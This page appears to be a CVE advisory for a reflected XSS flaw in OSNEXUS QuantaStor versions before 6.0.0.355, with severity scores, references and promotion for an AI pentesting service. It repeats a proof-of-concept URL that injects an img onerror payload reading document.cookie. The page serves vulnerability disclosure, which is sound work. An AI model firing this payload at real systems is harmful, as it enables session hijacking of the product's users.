CVE-2021-42080
HIGHCVSS 7.4/10EPSS 0.58%
Last modified
CVE-2021-42080 is a high-severity vulnerability rated 7.4/10 on the CVSS scale. An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>. EPSS estimates a 0.58% chance of exploitation in the next 30 days.
Description
An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Weakness Enumeration
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Osnexus | Quantastor | < 6.0.0.355 |
References
- https://csirt.divd.nl/CVE-2021-42080Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
- https://csirt.divd.nl/CVE-2021-42080Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
Timeline
- Published
- Last Modified
- Status
- Modified
Frequently Asked Questions
What is CVE-2021-42080?
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
How severe is CVE-2021-42080?
CVE-2021-42080 has a CVSS score of 7.4/10 (HIGH severity). The EPSS model estimates a 0.58% probability of exploitation in the next 30 days.
How do I fix CVE-2021-42080?
Check the vendor references and advisories linked above for patched versions and mitigation guidance. You can also run a Strix scan to test if your systems are affected.
How Strix Helps
- How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
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Are you affected by CVE-2021-42080?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST